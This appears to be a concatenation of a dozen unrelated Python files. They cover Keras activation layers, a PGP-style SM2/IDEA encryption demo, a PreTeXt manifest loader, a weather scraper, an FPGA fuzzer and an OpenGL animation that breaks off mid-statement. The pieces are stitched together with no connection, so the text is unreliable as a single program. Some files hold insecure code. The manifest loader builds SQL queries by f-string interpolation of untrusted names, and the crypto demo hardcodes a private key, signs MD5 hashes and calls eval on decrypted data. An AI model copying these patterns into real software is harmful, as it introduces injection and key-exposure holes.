import wave

import numpy as np
import pytest

from ser import main

@pytest.mark.asyncio
async def test_get_ser_result_from_server_message():
    # Arrange
    audio_array = load_wav_file('test.wav')
    target_length = 6 * 48000  # 6 seconds * 48 kHz
    padded_audio_array = pad_array(audio_array, target_length)
    padded_f32_audio_array = padded_audio_array.astype(np.float32, order='C') / 32767.0

    chunk_size = 4096
    audio_chunks = [
        padded_f32_audio_array[i:i + chunk_size] for i in range(0, len(padded_f32_audio_array), chunk_size)
    ]
    result_is_not_none_counter = 0

    # Act
    for chunk in audio_chunks:
        result = await main.get_ser_result_from_server_message(chunk)

        # Assert
        if result is not None:
            result_is_not_none_counter += 1
            assert ['angry', 'happy', 'neutral', 'sad', 'surprise'] == list(result.keys())
            assert all(isinstance(v, float) for v in result.values())

    # 6 seconds input; predictions are made every second after 4 seconds are reached
    assert 3 == result_is_not_none_counter

def load_wav_file(file_name: str) -> np.ndarray:
    with wave.open(file_name, 'rb') as wav_file:
        n_frames = wav_file.getnframes()
        audio_bytes = wav_file.readframes(n_frames)
        return np.frombuffer(audio_bytes, dtype=np.int16)

def pad_array(audio_array: np.ndarray, target_length: int) -> np.ndarray:
    if len(audio_array) >= target_length:
        return audio_array[:target_length]

    pad_len = target_length - len(audio_array)
    pad_rem = pad_len % 2
    pad_len //= 2
    return np.pad(audio_array, (pad_len, pad_len + pad_rem), 'constant', constant_values=0)


from tensorflow import math as tf_math
from tensorflow.python.util.tf_export import keras_export
import keras as k
from keras import constraints
from keras import initializers
from keras import regularizers
from keras.utils import tf_utils
from tensorflow.python.keras.layers import InputSpec
from keras.initializers import Constant as default_constant_initializer

@keras_export('keras.activations.SciActivation')
class SciActivation(k.layers.Activation):
    """Applies an activation function to an output.

    # Arguments
        w0: The factor to be applied to initialized weights.
            e.g. sin(w0 * input)
        activation: name of activation function to use
            (see: [activations](../activations.md)),
            or alternatively, a TensorFlow operation.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.
    """

    def __init__(self, w0=1.0, activation='linear', **kwargs):
        super(SciActivation, self).__init__(
            get_activation(activation),
            **kwargs
        )
        self.activation_name = self.activation.__name__
        self.w0 = w0

    def call(self, inputs):
        return self.activation(self.w0 * inputs)

    def get_config(self):
        config = {'w0': self.w0}
        base_config = super(SciActivation, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

@keras_export('keras.layers.SciActivationLayer')
class SciActivationLayer(k.layers.Layer):
    """Applies an activation layer with trainable parameter to an output.

    # Arguments
        alpha: The trainable factor to be applied to initialized weights.
            e.g. sin(alpha * input)
        activation: name of activation function to use
            (see: [activations](../activations.md)),
            or alternatively, a TensorFlow operation.
        type: ('l', 'g') for locally or globally activation functions.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.
    """

    def __init__(self, alpha=1.0, activation='linear', type='l', **kwargs):
        super(SciActivationLayer, self).__init__(**kwargs)
        self.activation = get_activation(activation)
        self.activation_name = self.activation.__name__
        self.alpha_initializer = default_constant_initializer(alpha)
        self.alpha_regularizer = None
        self.alpha_constraint = None
        self.shared_axes = None
        assert type in ('l', 'g')
        self.type = type

    @tf_utils.shape_type_conversion
    def build(self, input_shape):
        param_shape = list(input_shape[1:])
        if self.shared_axes is not None:
            for i in self.shared_axes:
                param_shape[i - 1] = 1
        self.alpha = self.add_weight(
            shape=param_shape if self.type=='l' else [1,],
            name='alpha',
            initializer=self.alpha_initializer,
            regularizer=self.alpha_regularizer,
            constraint=self.alpha_constraint)
        # Set input spec
        axes = {}
        if self.shared_axes:
            for i in range(1, len(input_shape)):
                if i not in self.shared_axes:
                    axes[i] = input_shape[i]
        self.built = True

    def call(self, inputs):
        return self.activation(self.alpha * inputs)

    def get_config(self):
        config = {
            'alpha_initializer': initializers.serialize(self.alpha_initializer),
            'alpha_regularizer': regularizers.serialize(self.alpha_regularizer),
            'alpha_constraint': constraints.serialize(self.alpha_constraint),
            'shared_axes': self.shared_axes
        }
        base_config = super(SciActivationLayer, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

    @tf_utils.shape_type_conversion
    def compute_output_shape(self, input_shape):
        return input_shape

@keras_export('keras.layers.SciRowdyActivationLayer')
class SciRowdyActivationLayer(k.layers.Layer):
    """Adds multiple activations together.

    # Arguments
        activation: list of activations functions of class SciActivation or SciActivationLayer.

    # Output shape
        Same shape as input.
    """

    def __init__(self, phis, **kwargs):
        super(SciRowdyActivationLayer, self).__init__(**kwargs)
        self.phis = phis
        self.activation = None
        self.activation_name = "rowdy"
        self.alpha_initializer = default_constant_initializer(1.0/len(phis))
        self.alpha_regularizer = None
        self.alpha_constraint = None

    @tf_utils.shape_type_conversion
    def build(self, input_shape):
        for i, phi in enumerate(self.phis):
            self.add_weight(
                shape=[1, ],
                name=f'alpha{i}',
                initializer=self.alpha_initializer,
                regularizer=self.alpha_regularizer,
                constraint=self.alpha_constraint)
        self.built = True

    def call(self, inputs):
        sums = [a*f(inputs) for a, f in zip(self.weights, self.phis)]
        return tf_math.add_n(sums, name='rowdy_sum')

    def get_config(self):
        config = {
            'alpha_initializer': initializers.serialize(self.alpha_initializer),
            'alpha_regularizer': regularizers.serialize(self.alpha_regularizer),
            'alpha_constraint': constraints.serialize(self.alpha_constraint),
            'shared_axes': self.shared_axes
        }
        base_config = super(SciRowdyActivationLayer, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

    @tf_utils.shape_type_conversion
    def compute_output_shape(self, input_shape):
        return input_shape

def get_activation(activation):
    """ Evaluates the activation function from a string or list of string inputs.

    # Arguments
        activation: A string pointing to the function name.

    # Returns:
        A function handle.
    """

    if isinstance(activation, list):
        return [get_activation(act) for act in activation]

    elif isinstance(activation, str):
        if hasattr(k.activations, activation):
            return getattr(k.activations, activation)
        elif hasattr(k.backend, activation):
            return getattr(k.backend, activation)
        elif hasattr(tf_math, activation):
            return getattr(tf_math, activation)
        else:
            raise ValueError(
                'Not a valid function name: ' + activation +
                ' - Please provide a valid activation '
                'function name from tensorflow.python.keras or Tensorflow. '
            )

    elif callable(activation):
        return activation

    else:
        raise TypeError(
            'Please provide a valid input: ' + type(activation) +
            ' - Expecting a function name or function handle. '
        )

# not supported tensorflow >= 2.10
# k.utils.get_custom_objects().update({
#     'SciActivation': SciActivation
# })


a=["harsh","gog","harsh","rajat","tom","rajat","rajat","tom","gog","harsh"]
f=[]
print(a)
a.sort()
print(a)
b=sorted(a)
print(b)
for i in range(len(b)):
	c=b.count(b[i])
	f.append(c)
	print(b[i],"=",c)

e=max(f)
print(e)
print(f)
a


import base64
import codecs
import zlib
import random
from gmssl import sm2
import IDEA
from utils import cal_md5, blks2str

pk = 'B9C9A6E04E9C91F7BA880429273747D7EF5DDEB0BB2FF6317EB00BEF331A83081A699' \
     '4B8993F3F5D6EADDDB81872266C87C018FB4162F5AF347B483E24620207'
sk = '00B9AB0B828FF68872F21A837FC303668428DEA11DCD1B24429D0C99E24EED83D5'
K = sk
symmetric_key = random.getrandbits(128)
sm2_crypt = sm2.CryptSM2(public_key=pk, private_key=sk)

def server(msg_ori, msg_enc):
    print('>>>1.计算邮件哈希值')
    hash_val = cal_md5(msg_ori)
    print('\t杂凑值:', hash_val)

    print('>>>2.生成文件签名')
    msg_ori_bytes = int(hash_val, 16).to_bytes(16, 'big')
    # print(msg_ori_bytes)
    signature = sm2_crypt.sign(msg_ori_bytes, K)
    print('\t数字签名:', signature)

    print('>>>3.将消息和数字签名拼接')
    with open(msg_ori, "rb") as f:
        content = f.read()
    data = 'content=' + str(content) + ',signature=' + str(signature)
    print('\t拼接结果:', data)

    print('>>>4.压缩文件')
    msg_compressed = zlib.compress(str.encode(data), zlib.Z_BEST_COMPRESSION)
    print('\t压缩结果:', msg_compressed)

    print('>>>5.加密压缩后的数据')

    idea = IDEA.IDEA(key=symmetric_key)
    blocks = IDEA.string_to_blocks(str(msg_compressed))
    # print(blocks)
    encrypt_IDEA_words = []
    for block in blocks:
        encrypt_IDEA_words.append(idea.encrypt(block))
    # print(type(symmetric_key), symmetric_key)

    print('>>>6.加密对称会话密钥')

    symmetric_key_cipher = sm2_crypt.encrypt(symmetric_key.to_bytes(16, 'big'))
    print('\t原始状态:', symmetric_key)
    print('\t密钥明文:', symmetric_key.to_bytes(16, 'big'))
    print('\t加密结果:', symmetric_key_cipher)
    print('\t解密结果:', sm2_crypt.decrypt(symmetric_key_cipher))
    print('\t数值状态:', int.from_bytes(sm2_crypt.decrypt(symmetric_key_cipher), 'big'))
    print('>>>7.将加密会话密钥和加密数据级联')
    msg_to_send = 'data='
    tmp = []
    for m in encrypt_IDEA_words:
        tmp.append(str(m))
        tmp.append(',')
    msg_to_send += ''.join(tmp)

    msg_to_send = msg_to_send + 'key=' + str(symmetric_key_cipher)
    print('\t级联结果:', msg_to_send.encode('utf-8'))

    print('>>>8.级联结果进行Base64编码')
    msg_to_send = msg_to_send.encode('utf-8')
    data_encoded = base64.b64encode(msg_to_send)
    # data_decoded = base64.b64decode(data_encoded)
    with open(msg_enc, 'wb') as f:
        f.write(data_encoded)
    print('\t最终形态:', data_encoded)

def client(msg_enc, msg_dec):
    # 服务器发来base64编码的密态消息msg_enc
    print('>>>1.Base64解码')
    with open(msg_enc, 'r') as f:
        msg = f.read()
    msg = (base64.b64decode(msg)).decode('utf-8')
    print('\t解码结果:', msg)
    print('>>>2.密钥和数据分离')
    data_extract = msg.split('data=')[1]
    print(data_extract)
    data_enc = data_extract.split('key=')[0]
    key_enc = eval(msg.split('key=')[1])
    print('\t数据部分:', type(data_enc), data_enc)
    print('\t密钥部分:', type(key_enc), key_enc)
    print('>>>3.解密得到对称密钥')
    symmetric_key_dec_bytes = sm2_crypt.decrypt(key_enc)
    symmetric_key_dec_int = int.from_bytes(symmetric_key_dec_bytes, 'big')
    print('\t对称密钥(bytes):', symmetric_key_dec_bytes)
    print('\t对称密钥(int):', symmetric_key_dec_int)

    print('>>>4.解密数据')
    blocks = data_enc.split(',')[:-1]
    idea = IDEA.IDEA(key=symmetric_key_dec_int)
    decrypt_IDEA_words = []
    for block in blocks:
        decrypt_IDEA_words.append(idea.decrypt(int(block)))
    msg = blks2str(decrypt_IDEA_words)

    msg = bytes(msg[2:-1], encoding='utf-8')
    init_msg = codecs.escape_decode(msg, 'hex-escape')
    print('压缩后消息:', init_msg)
    print('>>>5.解压缩')
    data_uncompressed = zlib.decompress(init_msg[0])
    print('解压缩结果:', data_uncompressed)
    print('>>>6.签名数据分离')
    data_uncompressed = str(data_uncompressed)
    # print(data_uncompressed)
    tmp = data_uncompressed.split('content=', 1)[1]
    content, signature = tmp.rsplit('signature=', 1)[0], tmp.rsplit('signature=', 1)[1][:-1]
    content_bytes = bytes(content[2:-2], encoding='utf-8')
    with open(msg_dec, 'wb') as f:
        f.write(content_bytes)
    content = content[2:-2]
    print('\t数据部分:', content)
    print('\t签名部分:', signature)

    print('>>>8.验签')
    hash_val = cal_md5(msg_dec)
    # print(hash_val)
    # print(signature)

    hash_val_bytes = int(hash_val, 16).to_bytes(16, 'big')
    if sm2_crypt.verify(signature, hash_val_bytes):
        print('\tvalid signature.')
    else:
        print('\tinvalid signature.')

if __name__ == '__main__':
    msg_o = 'msg_file.txt'
    msg_e = 'cipher_file.txt'
    msg_d = 'msg_dec.txt'
    print('PGP协议模拟')
    print('***********************************************************服务器（加密）****************************************************************************************************************')
    server(msg_o, msg_e)
    print('***********************************************************客户端（解密）****************************************************************************************************************')
    client(msg_e, msg_d)


from dc_main import *

def comic_it(c, files1, index, img_size = 512):
    batch = np.array([cv2.resize(imread(batch_file), (img_size, img_size)) for batch_file in files1])
    batch_normalized = batch / 255.0
    batch_edge = np.array([cv2.adaptiveThreshold(cv2.cvtColor(ba, cv2.COLOR_BGR2GRAY), 255, cv2.ADAPTIVE_THRESH_MEAN_C,
                                                 cv2.THRESH_BINARY, blockSize=9, C=2) for ba in batch]) / 255.0
    batch_edge = np.expand_dims(batch_edge, 3)
    batch_colors = np.array([c.imageblur(ba, True) for ba in batch]) / 255.0

    recreation = c.sess.run(c.generated_images,
                            feed_dict={c.real_images: batch_normalized, c.line_images: batch_edge,
                                       c.color_images: batch_colors})
    out_file = 'data/cmerge_{}.jpg'.format(index)
    edge_file = 'data/cedge_{}.jpg'.format(i)
    ims(edge_file, merge_color(batch_edge, [c.batch_size_sqrt, c.batch_size_sqrt]))
    ims(out_file, merge_color(recreation, [c.batch_size_sqrt, c.batch_size_sqrt]))

if __name__ == '__main__':
    img_size= 512
    import dc_main
    dc_main.upsplash = False
    c = Color(img_size, 1)
    c.loadmodel( False )
    print('load model done.')
    files1 = ['data/timg_.jpg','data/timg.jpg', 'data/lyf1.jpg', 'data/lyf2.jpg']
    for i, file1 in enumerate( files1):
        comic_it(c,[file1], i, img_size=img_size)
    print('done.')


import datetime
import os
import csv
from qstrader.price_parser import PriceParser

from .base import AbstractCompliance

class ExampleCompliance(AbstractCompliance):
    """
    A basic compliance module which writes trades to a
    CSV file in the output directory.
    """

    def __init__(self, config):
        """
        Wipe the existing trade log for the day, leaving only
        the headers in an empty CSV.

        It allows for multiple backtests to be run
        in a simple way, but quite likely makes it unsuitable for
        a production environment that requires strict record-keeping.
        """
        self.config = config
        # Remove the previous CSV file
        today = datetime.datetime.utcnow().date()
        self.csv_filename = "tradelog_" + today.strftime("%Y-%m-%d") + ".csv"

        try:
            fname = os.path.expanduser(os.path.join(config.OUTPUT_DIR, self.csv_filename))
            os.remove(fname)
        except (IOError, OSError):
            print("No tradelog files to clean.")

        # Write new file header
        fieldnames = [
            "timestamp", "ticker",
            "action", "quantity",
            "exchange", "price",
            "commission"
        ]
        fname = os.path.expanduser(os.path.join(self.config.OUTPUT_DIR, self.csv_filename))
        with open(fname, 'a') as csvfile:
            writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
            writer.writeheader()

    def record_trade(self, fill):
        """
        Append all details about the FillEvent to the CSV trade log.
        """
        fname = os.path.expanduser(os.path.join(self.config.OUTPUT_DIR, self.csv_filename))
        with open(fname, 'a') as csvfile:
            writer = csv.writer(csvfile)
            writer.writerow([
                fill.timestamp, fill.ticker,
                fill.action, fill.quantity,
                fill.exchange, PriceParser.display(fill.price, 4),
                PriceParser.display(fill.commission, 4)
            ])


import datetime
import os
import sys
import xml.etree.ElementTree as ET
import pdb

from sqlalchemy import create_engine, Table, MetaData, and_
from sqlalchemy.orm.session import sessionmaker
from sqlalchemy.sql import text
from sphinx.util import logging

logger = logging.getLogger(__name__)
# logger.setLevel(logging.INFO)

QT_MAP = {
    "multiplechoice": "mchoice",
    "parsons": "parsonsprob",
}
# manifest_data_to_db(course_name, manifest_path)
# -----------------------------------------------

def manifest_data_to_db(course_name, manifest_path):
    """Read the runestone-manifest.xml file generated by PreTeXt and populate the
    chapters, subchapters, and questions table so that PreTeXt books can be used on
    Runestone.Academy.

    Arguments:
        course_name {string} -- Name of the course (should be a base course)
        manifest_path {path} -- path to runestone-manifest.xml file
    """

    try:
        if os.environ["WEB2PY_CONFIG"] == "development":
            DBURL = os.environ["DEV_DBURL"]
        elif os.environ["WEB2PY_CONFIG"] == "production":
            DBURL = os.environ["DBURL"]
        elif os.environ["WEB2PY_CONFIG"] == "test":
            DBURL = os.environ["TEST_DBURL"]
        else:
            logger.error("No WEB2PY_CONFIG found! Do not know which DB to use!")
            exit(-1)
    except KeyError:
        logger.error("PreTeXt integration requires a valid WEB2PY Environment")
        logger.error("make sure WEB2PY_CONFIG and DBURLs are set up")
        exit(-1)

    engine = create_engine(DBURL)
    Session = sessionmaker()
    engine.connect()
    Session.configure(bind=engine)
    sess = Session()
    meta = MetaData()
    chapters = Table("chapters", meta, autoload=True, autoload_with=engine)
    subchapters = Table("sub_chapters", meta, autoload=True, autoload_with=engine)
    questions = Table("questions", meta, autoload=True, autoload_with=engine)
    source_code = Table("source_code", meta, autoload=True, autoload_with=engine)
    course_attributes = Table(
        "course_attributes", meta, autoload=True, autoload_with=engine
    )

    logger.info("Cleaning up old chapters info for {}".format(course_name))
    # Delete the chapter rows before repopulating. Subchapter rows are taken
    # care of by postgres with the ON DELETE CASCADE clause
    sess.execute(chapters.delete().where(chapters.c.course_id == course_name))

    logger.info("Populating the database with Chapter information")

    tree = ET.parse(manifest_path)
    root = tree.getroot()
    chap = 0
    for chapter in root.findall("./chapter"):
        logger.info(chapter)
        chap += 1
        logger.debug(
            chapter.tag, chapter.find("./id").text, chapter.find("./title").text
        )
        ins = chapters.insert().values(
            chapter_name=chapter.find("./title").text,
            course_id=course_name,
            chapter_label=chapter.find("./id").text,
            chapter_num=chap,
        )
        res = sess.execute(ins)
        chapid = res.inserted_primary_key[0]
        subchap = 0
        #  sub_chapter_name   | character varying(512)
        #  chapter_id         | integer
        #  sub_chapter_label  | character varying(512)
        #  skipreading        | character(1)
        #  sub_chapter_num    | integer
        for subchapter in chapter.findall("./subchapter"):
            subchap += 1
            logger.debug(subchapter.find("./id").text, subchapter.find("./title").text)
            titletext = subchapter.find("./title").text
            if not titletext:
                # ET.tostring  converts the tag and everything to text
                # el.text gets the text inside the element
                titletext = " ".join(
                    [
                        ET.tostring(y).decode("utf8")
                        for y in subchapter.findall("./title/*")
                    ]
                )
            ins = subchapters.insert().values(
                sub_chapter_name=titletext,
                chapter_id=chapid,
                sub_chapter_label=subchapter.find("./id").text,
                skipreading="F",
                sub_chapter_num=subchap,
            )
            sess.execute(ins)

            # Now add this chapter / subchapter to the questions table as a page entry
            name = "{}/{}".format(
                chapter.find("./title").text, subchapter.find("./title").text
            )
            res = sess.execute(
                text(
                    """select * from questions where name = :name and base_course = :course_name"""
                ),
                dict(name=name, course_name=course_name),
            ).first()
            valudict = dict(
                base_course=course_name,
                name=name,
                timestamp=datetime.datetime.now(),
                is_private="F",
                question_type="page",
                subchapter=subchapter.find("./id").text,
                chapter=chapter.find("./id").text,
                from_source="T",
            )
            if res:
                ins = (
                    questions.update()
                    .where(
                        and_(
                            questions.c.name == name,
                            questions.c.base_course == course_name,
                        )
                    )
                    .values(**valudict)
                )
            else:
                ins = questions.insert().values(**valudict)
            sess.execute(ins)

            for question in subchapter.findall("./question"):
                dbtext = " ".join(
                    [
                        ET.tostring(y).decode("utf8")
                        for y in question.findall("./htmlsrc/*")
                    ]
                )
                qlabel = " ".join([y.text for y in question.findall("./label")])
                logger.debug(f"found label= {qlabel}")
                logger.debug("looking for data-component")
                # pdb.set_trace()
                el = question.find(".//*[@data-component]")
                old_ww_id = None
                # Unbelievably if find finds something it evals to False!!
                if el is not None:
                    if "id" in el.attrib:
                        idchild = el.attrib["id"]
                    else:
                        idchild = "fix_me"
                    if "the-id-on-the-webwork" in el.attrib:
                        old_ww_id = el.attrib["the-id-on-the-webwork"]
                else:
                    el = question.find("./div")
                    if el is None:
                        idchild = "fix_me"
                    elif "id" in el.attrib:
                        idchild = el.attrib["id"]
                    else:
                        idchild = "fix_me"
                try:
                    qtype = el.attrib["data-component"]
                    if qtype == "codelens":
                        # pdb.set_trace()
                        id_el = el.find("./*[@class='pytutorVisualizer']")
                        idchild = id_el.attrib["id"]
                    # translate qtype to question_type
                    qtype = QT_MAP.get(qtype, qtype)
                except:
                    if el is not None:
                        qtype = "webwork"
                        dbtext = ET.tostring(el).decode("utf8")

                valudict = dict(
                    base_course=course_name,
                    name=idchild,
                    timestamp=datetime.datetime.now(),
                    is_private="F",
                    question_type=qtype,
                    htmlsrc=dbtext,
                    from_source="T",
                    subchapter=subchapter.find("./id").text,
                    chapter=chapter.find("./id").text,
                    qnumber=qlabel,
                )
                if old_ww_id:
                    namekey = old_ww_id
                else:
                    namekey = idchild
                res = sess.execute(
                    f"""select * from questions where name='{namekey}' and base_course='{course_name}'"""
                ).first()
                if res:
                    ins = (
                        questions.update()
                        .where(
                            and_(
                                questions.c.name == namekey,
                                questions.c.base_course == course_name,
                            )
                        )
                        .values(**valudict)
                    )
                else:
                    ins = questions.insert().values(**valudict)
                sess.execute(ins)
                if qtype == "datafile":
                    if "data-isimage" in el.attrib:
                        file_contents = el.attrib["src"]
                    else:
                        file_contents = el.text
                    if "data-filename" in el.attrib:
                        filename = el.attrib["data-filename"]
                    else:
                        filename = el.attrib["id"]

                    # write datafile contents to the source_code table
                    res = res = sess.execute(
                        f"""select * from source_code where acid='{filename}' and course_id='{course_name}'"""
                    ).first()

                    vdict = dict(
                        acid=filename, course_id=course_name, main_code=file_contents
                    )
                    if res:
                        upd = (
                            source_code.update()
                            .where(
                                and_(
                                    source_code.c.acid == filename,
                                    source_code.c.course_id == course_name,
                                )
                            )
                            .values(**vdict)
                        )
                    else:
                        upd = source_code.insert().values(**vdict)
                    sess.execute(upd)

    latex = root.find("./latex-macros")
    logger.info("Setting attributes for this base course")

    res = sess.execute(
        f"select * from courses where course_name ='{course_name}'"
    ).first()
    cid = res["id"]

    # Right now these are the only two attributes we store in the table, if this
    # changes we will need to be more careful about what we delete
    sess.execute(course_attributes.delete().where(course_attributes.c.course_id == cid))
    ins = course_attributes.insert().values(
        course_id=cid, attr="latex_macros", value=latex.text
    )
    sess.execute(ins)
    ins = course_attributes.insert().values(
        course_id=cid, attr="markup_system", value="PreTeXt"
    )
    sess.execute(ins)
    sess.commit()

if __name__ == "__main__":
    course_name = sys.argv[1]
    manifest_path = sys.argv[2]
    manifest_data_to_db(course_name, manifest_path)


# 922.按奇偶排序数组 II

# 给定一个非负整数数组A， A中一半整数是奇数，一半整数是偶数。
# 对数组进行排序，以便当A[i]为奇数时，i也是奇数；当A[i]为偶数时， i也是偶数。
# 你可以返回任何满足上述条件的数组作为答案。

# 示例：
# 输入：[4, 2, 5, 7]
# 输出：[4, 5, 2, 7]
# 解释：[4, 7, 2, 5]，[2, 5, 4, 7]，[2, 7, 4, 5]也会被接受。

# 提示：
# 2 <= A.length <= 20000
# A.length % 2 == 0
# 0 <= A[i] <= 1000

class Solution:
    def sortArrayByParityII(self, A):
        l1 = []  # 存放奇数
        l2 = []  # 存放偶数
        for i in A:
            if i % 2 == 0:
                l2.append(i)
            else:
                l1.append(i)
        res = []
        i = 0
        while i < len(A):
            if i % 2 == 0:
                res.append(l2.pop())
                i = i + 1
            else:
                res.append(l1.pop())
                i = i + 1

        return res

sol = Solution()
print(sol.sortArrayByParityII([4, 2, 5, 7]))


import requests
from bs4 import BeautifulSoup

today = dict()
url = "https://search.naver.com/search.naver?sm=tab_hty.top&where=nexearch&query={}"
날씨 = "서울날씨"
url = url.format(날씨)
html = requests.get(url);
soup= BeautifulSoup(html.text,"html.parser");
now_temperate = soup.select_one(".temperature_text > strong ").text;
today[now_temperate[:5]]=now_temperate[5:]
dust = soup.select(".item_today > a > span")
title = soup.select(".item_today > a > strong")

for i in range(3):
    today[title[i].text]=dust[i].text
rain_wind = soup.select_one(".summary_list")
rain_wind_t = rain_wind.select(".term")
rain_wind_d = rain_wind.select(".desc");
for i in range(3):
    today[rain_wind_t[i].text]=rain_wind_d[i].text
temp = soup.select_one(".temperature_inner").text
print(temp)
print(today)


from fuzzconfig import FuzzConfig
import nonrouting
import pytrellis
import fuzzloops
import argparse

jobs = [
        {
            "cfg": FuzzConfig(job="PIC_T0", family="MachXO3", device="LCMXO3LF-6900C",
                        ncl="empty_6900.ncl", tiles=["PT26:PIC_T0"]),
            "side": "T",
            "pins": [("A14", "A"), ("B14", "B"), ("D12", "C"), ("C12", "D")],
            "package": "CABGA400",
            "ncl": "pio_6900.ncl"
        },

        {
            "cfg": FuzzConfig(job="PIC_B0", family="MachXO3", device="LCMXO3LF-6900C",
                        ncl="empty_6900.ncl", tiles=["PB26:PIC_B0"]),
            "side": "B",
            "pins": [("Y13", "A"), ("W13", "B"), ("V12", "C"), ("V13", "D")],
            "package": "CABGA400",
            "ncl": "pio_6900.ncl"
        },

        {
            "cfg": FuzzConfig(job="PIC_L0", family="MachXO3", device="LCMXO3LF-1300E",
                        ncl="empty_1300.ncl", tiles=["PL8:PIC_L0"]),
            "side": "L",
            "pins": [("G11", "A"), ("G10", "B"), ("G9", "C"), ("G8", "D")],
            "package": "CSFBGA121",
            "ncl": "pio_1300.ncl"
        },

        {
            "cfg": FuzzConfig(job="PIC_R0", family="MachXO3", device="LCMXO3LF-1300E",
                        ncl="empty_1300.ncl", tiles=["PR8:PIC_R0"]),
            "side": "R",
            "pins": [("G1", "A"), ("G2", "B"), ("G3", "C"), ("G4", "D")],
            "package": "CSFBGA121",
            "ncl": "pio_1300.ncl"
        },
        #4
        {
            "cfg": FuzzConfig(job="ULC3PIC", family="MachXO3", device="LCMXO3LF-2100C",
                        ncl="empty_2100.ncl", tiles=["PL1:ULC3PIC"]),
            "side": "L",
            "pins": [("D3", "A"), ("D1", "B"), ("B1", "C"), ("C2", "D")],
            "package": "CABGA256",
            "ncl": "pio_2100.ncl"
        },
        {
            "cfg": FuzzConfig(job="URC1PIC", family="MachXO3", device="LCMXO3LF-2100C",
                        ncl="empty_2100.ncl", tiles=["PR1:URC1PIC"]),
            "side": "R",
            "pins": [("D14", "A"), ("E15", "B"), ("C15", "C"), ("B16", "D")],
            "package": "CABGA256",
            "ncl": "pio_2100.ncl"
        },
]

def main(args):
    pytrellis.load_database("../../../database")

    for job in [jobs[i] for i in args.ids]:

        cfg = job["cfg"]
        side = job["side"]
        pins = job["pins"]

        cfg.setup()
        empty_bitfile = cfg.build_design(cfg.ncl, {})
        cfg.ncl = job["ncl"]

        def per_pin(pin):
            loc, pio = pin

            def get_substs(pgmux):
                return dict(loc=loc, pgmux=pgmux)

            nonrouting.fuzz_enum_setting(cfg, "PIO{}.PGMUX".format(pio), ["PGBUF", "INBUF"],
                                        lambda x: get_substs(pgmux=x), empty_bitfile, False)

        fuzzloops.parallel_foreach(pins, per_pin)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="IO PGMUX Fuzzer.")
    parser.add_argument(dest="ids", metavar="N", type=int, nargs="*",
                    default=range(0, len(jobs)), help="Job (indices) to run.")
    args = parser.parse_args()
    main(args)


#Eric Schmidt
#Quiz 4: Problem 1

import re

def sentenceLowercase(inString):
    tempString = re.findall("[A-Z][^A-Z]*", inString)

    outString = ""
    for x in tempString:
        outString += (x + " ")
    return outString

def main():
    string = input("Enter a string with no spaces and each first letter capitalized: ")

    print(sentenceLowercase(string))

main()


import requests
import re

"""
Function Name           : fetch_five_letter_words
Author                  : Michael Laszlo
Date                    : April 11th, 2022
Function Description    : This function uses meaningpedia to fetch all of the
five letter words in the English dictionary. This function was found on GitHub
at https://gist.github.com/iancward/eaa4727a5058db51135977444655ca40.

BEGIN fetch_five_letter_words
    Print message telling User words are being fetched
    Get list of five-letter words from meaningpedia.com
    Compile regex
    Find all matches
    Return word list
END fetch_five_letter_words
"""
def fetch_five_letter_words():

    # Get all five-letter words (source: https://gist.github.com/iancward/eaa4727a5058db51135977444655ca40)
    print('Fetching word list...\n')

    # get list of five-letter words from meaningpedia.com
    # found it linked from Wikipedia:
    # https://en.wikipedia.org/wiki/Lists_of_English_words#External_links
    meaningpedia_resp = requests.get(
        "https://meaningpedia.com/5-letter-words?show=all")

    # compile regex
    pattern = re.compile(r'(\w+)')

    # find all matches
    word_list = pattern.findall(meaningpedia_resp.text)

    # Return word_list
    return word_list


import math, random, sys, time
from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLUT import *

# constants
TIMER_TIME = 33
SIZE = 480
INTERP_TIME = 1.5
CIRCLE_SIZE = 20
START_XY = 150
END_XY = 330

INTERP_LINEAR   = 1
INTERP_CUBIC    = 2
INTERP_CARTOON  = 3

# state
start_time = None
interp_mode = None

# function for drawing a circle
def drawCircle():
    glBegin(GL_TRIANGLE_FAN)
    glVertex2f(0.0, 0.0)
    for ii in xrange(32):
        theta = 2. * math.pi * ii / 31.
        glVertex2f(math.cos(theta), math.sin(theta))
    glEnd()

def cartoon(x) :
  return (-16.0 * (x ** 3.0)) + (24 * (x ** 2.0)) - (7 * x)

# draws state based on animation time
def drawAnimation(t, swap, mode):
    if swap:
        src, dst = END_XY, START_XY
    else:
        src, dst = START_XY, END_XY

    xy = src

    # TODO: implement interpolations based on mode

    # T is in the range [0, 1]

    if mode == INTERP_LINEAR :
      # To move linearly, simply use t as a percent
      xy = ((1 - t) * src) + (t * dst);

    elif mode == INTERP_CUBIC :
      cubeT = (3 * (t ** 2)) - (2 * (t ** 3))
      xy = ((1 - cubeT) * src) + (cubeT * dst)

    elif mode == INTERP_CARTOON :
      cubeT = cartoon(t)
      xy = ((1 - cubeT) * src) + (cubeT * dst)

    # end TODO:

    glPushMatrix()
    glTranslatef(xy, xy, 0)
    glScalef(CIRCLE_SIZE, CIRCLE_SIZE, 1)
    drawCircle()
    glPopMatrix()

# function for handling key down
def keyboard(c, x, y):
    global start_time, interp_mode

    if c.lower() == '1':
        interp_mode = INTERP_LINEAR
    elif c.lower() == '2':
        interp_mode = INTERP_CUBIC
    elif c.lower() == '3':
        interp_mode = INTERP_CARTOON
    else:
        return

    start_time = time.time()

# handle state update on timer
def timer(value):
    glutPostRedisplay()
    glutTimerFunc(TIMER_TIME, timer, 0)

# function for displaying the game screen
def display():
    global start_time, interp_mode

    glClear(GL_COLOR_BUFFER_BIT)

    glMatrixMode(GL_PROJECTION);
    glLoadIdentity();
    gluOrtho2D(0, SIZE, 0, SIZE);

    glMatrixMode(GL_MODELVIEW);
    glLoadIdentity();

    glColor3f(0.8, 0.9, 0.9)
    if start_time == None:
        drawAnimation(0.0, False, INTERP_LINEAR)
    else:
        part = int((time.time() - start_time) / INTERP_TIME)
        t = max(0.0, min(1.0, (time.time() - (start_time + INTERP_TIME * part)) / INTERP_TIME))
        if part % 4 == 0:
